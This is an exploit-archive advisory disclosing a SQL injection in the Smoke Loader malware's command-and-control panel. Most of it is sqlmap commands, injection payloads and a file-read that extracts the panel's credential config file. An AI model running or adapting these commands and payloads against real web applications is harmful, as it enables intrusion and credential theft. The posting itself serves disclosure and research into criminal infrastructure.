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Smoke Loader SQL Injection

Smoke Loader SQL Injection
Posted Dec 22, 2012
Authored by Ian

The Smoke Loader HTTP-based exploit kit suffers from a remote SQL injection vulnerability.

tags | exploit, remote, web, sql injection
SHA-256 | 6168b8bae818826efed5db61c179383059d8815b98419a63863955dba82bf792

Smoke Loader SQL Injection

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Like other http-based exploit kits, I've discovered that the smoke loader malware downloader has a sql injection in its C&C administration panel that can be used to revel the administrator's password.

sqlmap can identify the vulnerable parameter with the string:

root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3
--risk 3


sqlmap identified the following injection points with a total of 278
HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE or HAVING clause (RLIKE)
Payload: id=1 LIMIT 0,1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
RLIKE IF(2984=2984,0x4d7953514c,0x28)

Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: id=1 LIMIT 0,1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
LIMIT 0,1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a71616c3a,0x467173496b71686b617a,0x3a7269703a),NULL,NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 LIMIT 0,1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL
AND SLEEP(5)

Then:

root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3 --risk
3 --file-read=[smoke root directory--can be found by sql errors on guest panel
by replacing the above parameters with invalid data]/admin/inc/cfg.php


root@localhoost:/opt/pentest/database/sqlmap# cat output/localhost/files/_var_www_smoke_admin_inc_cfg.php
<?php

$config["admin"] = "bla"; //admin login name
$config["pass"] = "blabla"; //admin password

$config["guest"] = "guest"; //admin login name
$config["gpass"] = "guest"; //admin password

$config["dbhost"] = "localhost";
$config["dbname"] = "smoke"; //mysql database name
$config["dbuser"] = "bla"; //mysql database username
$config["dbpass"] = "meh"; //mysql databse password

$config["interval"] = 600; //interval for check online bots

$OS = array
(
0 => "Windows XP",
1 => "Windows 2003",
2 => "Windows Vista",
3 => "Windows 7",
4 => "Other"
);

?>


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